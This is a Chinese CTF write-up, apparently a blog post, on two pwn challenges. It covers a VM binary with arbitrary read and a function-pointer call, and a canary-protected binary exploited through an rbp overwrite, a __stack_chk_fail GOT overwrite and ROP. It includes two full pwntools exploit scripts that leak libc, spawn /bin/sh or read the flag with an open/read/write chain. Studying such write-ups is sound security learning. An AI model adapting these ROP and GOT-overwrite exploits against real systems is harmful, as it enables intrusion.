只做了两道pwn
PWN1
一道简单的VM题,
简单分析一下漏洞点和程序:
unsigned __int64 __fastcall sub_4012A0(__int64 a1, __int64 buf, unsigned __int64 size)
{
unsigned __int64 v3; // rax
unsigned __int64 result; // rax
__int64 *v6; // [rsp+28h] [rbp-58h]
__int64 v7; // [rsp+38h] [rbp-48h]
__int64 v8; // [rsp+40h] [rbp-40h]
__int64 v9; // [rsp+48h] [rbp-38h]
__int64 v10; // [rsp+50h] [rbp-30h]
__int64 v11; // [rsp+58h] [rbp-28h]
unsigned __int64 v12; // [rsp+68h] [rbp-18h]
v12 = 0LL;
while ( 1 )
{
result = v12;
if ( v12 >= size )
return result;
v3 = v12++;
switch ( *(_BYTE *)(buf + v3) )
{
case 1:
result = v12 + 8;
if ( size < v12 + 8 )
return result;
sub_4011D6(a1, *(_QWORD *)(buf + v12));
v12 += 8LL;
break;
case 2:
sub_40122D(a1);
continue;
case 3:
v8 = sub_40122D(a1);
v7 = sub_40122D(a1);
sub_4011D6(a1, v7 + v8);
continue;
case 4:
v10 = sub_40122D(a1);
v9 = sub_40122D(a1);
sub_4011D6(a1, v9 ^ v10);
continue;
case 5:
if ( *(int *)(a1 + 8) > 0 )
printf("PRINT: %ld\n", *(_QWORD *)(a1 + 8 * (*(_DWORD *)(a1 + 8) - 1 + 2LL)));
continue;
case 6:
if ( *(_QWORD *)(a1 + 144) )
(*(void (**)(void))(a1 + 144))();
continue;
case 7:
result = v12 + 8;
if ( size < v12 + 8 )
return result;
v6 = *(__int64 **)(buf + v12);
v12 += 8LL;
signal(11, handler);
v11 = *v6;
signal(11, 0LL);
printf("LEAK: [0x%lx] = 0x%lx (%lu)\n", v6, v11, v11);
break;
default:
continue;
}
}
}
-
操作码1: 压入8字节值到栈
-
操作码2: 弹出栈顶值
-
操作码3: 加法运算
-
操作码4: 异或运算
-
操作码5: 打印栈顶值
关键漏洞 - 任意代码执行 (Critical Vulnerability)
- 操作码6: 允许执行任意函数调用 机制: 检查a1+144位置的值,如果不为0,则将其作为函数指针调用 利用:
通过操作码1可以向a1+144位置写入任意地址,实现任意代码执行
内存泄露功能 (Memory Leak)
- 操作码7: 提供内存读取功能
- 功能: 可以读取任意地址的内存内容
EXP我打完比赛就连文件一起删了,没有附件也实在给不了了。
总体来说不难,就先利用 操作码7泄露libc,然后计算出one_gadget的地址,
然后用操作码一多push 几次 one_gadget最后调用操作码6就能拿到shell了,很简单
PWN2
开启了canary保护没开pie
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
int v5; // [rsp+Ch] [rbp-54h] BYREF
char s[16]; // [rsp+10h] [rbp-50h] BYREF
__int64 v7; // [rsp+20h] [rbp-40h]
__int64 v8; // [rsp+28h] [rbp-38h]
unsigned __int64 v9; // [rsp+58h] [rbp-8h]
__int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
v9 = __readfsqword(0x28u);
init(argc, argv, envp);
strcpy(s, "This is canary!");
v7 = 0LL;
v8 = 0LL;
v3 = strlen(s);
write(1, s, v3);
puts("Do you want to enter other functions?");
v5 = 0;
__isoc99_scanf("%d", &v5);
if ( v5 == 1 )
gift();
else
read(0, &savedregs, 0x10uLL);
return 0;
}
这里可以直接改Rbp和返回地址,利用先把rbp改成__stack_chk_fail的地址,然后返回地址改成read(0, &savedregs, 0x10uLL);的地址,就可以实现任意写,把__stack_chk_fail写成gift的地址就能利用gift函数实现栈溢出了。
EXP:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
elf = ELF(pwnfile)
libc = ELF("./libc_2.31.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
leave_ret = 0x0000000000401288
continue_addr = 0x401110
pop_rdi = 0x00000000004013e3
gift_addr = 0x40123D
ret = 0x000000000040101a
gadget = [0xe6aee,0xe6af1,0xe6af4]
def pwn():
ru(b"Do you want to enter other functions?")
s(b'0\x00')
s(p64(0x404030)+p64(0x40133F))
s(p64(gift_addr))
sleep(1)
sl(b"a"*0x48+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(continue_addr))
s(b"\x00")
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr-libc.sym['puts']
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))
leak("libc_base",libc_base)
sleep(1)
ru(b"This is canary!Do you want to enter other functions?")
s(b'1\x00')
sl(b"a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system))
sl(b"aaaa")
itr()
if __name__ == "__main__":
# while True:
# io = remote("119.36.240.225",40340)
io = process(pwnfile)
try:
pwn()
except:
io.close()

然后我还有个骚方法就是如下:(只利用read(0, &savedregs, 0x10uLL读取文件或者getshell)😉
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
elf = ELF(pwnfile)
libc = ELF("./libc_2.31.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
leave_ret = 0x0000000000401288
continue_addr = 0x401110
pop_rdi = 0x00000000004013e3
pop_rsi_r15 = 0x00000000004013e1
ret = 0x000000000040101a
def pwn():
ru(b"Do you want to enter other functions?")
s(b'0\x00')
s(p64(0x404030)+p64(0x40133F))
s(p64(continue_addr))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404200)+p64(0x40133F))
s(p64(pop_rdi)+p64(elf.got["puts"]))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404210)+p64(0x40133F))
s(p64(elf.plt['puts'])+p64(pop_rsi_r15))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404220)+p64(0x40133F))
s(p64(elf.got["write"])+p64(0))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404230)+p64(0x40133F))
s(p64(ret)+p64(0x40123D))
#################################
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404240)+p64(0x40133F))
s(p64(pop_rdi)+p64(0))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404250)+p64(0x40133F))
s(p64(pop_rsi_r15)+p64(0x4042a0))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404260)+p64(0x40133F))
s(p64(0)+p64(elf.plt['read']))
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404270)+p64(0x40133F))
s(p64(0x00000000004013dd)+p64(0x4042a0)) #pop rsp
#########################
ru(b"Do you want to enter other functions?")
s(b"0\x00")
s(p64(0x404200-8)+p64(leave_ret))
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
sl(p64(0))
sleep(1)
pop_rdx_r12 = libc_base +0x000000000011c1e1
pop_rax = libc_base+0x000000000004a550
syscall_ret = 0x13d4ab+libc_base
flag = 0x4042a8
payload = p64(pop_rdi)+p64(flag)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)#open
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(0x404300)*2+p64(pop_rdx_r12)+p64(0x60)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)#read
payload += p64(pop_rdi)+p64(1)+p64(pop_rax)+p64(1)+p64(syscall_ret)#write
sl((b"flag\x00\x00\x00\x00")*3+payload)
itr()
if __name__ == "__main__":
# while True:
# io = remote("119.36.240.225",40340)
io = process(pwnfile)
try:
pwn()
except:
io.close()

本地也是能打通,远程不清楚。
1348

被折叠的 条评论
为什么被折叠?



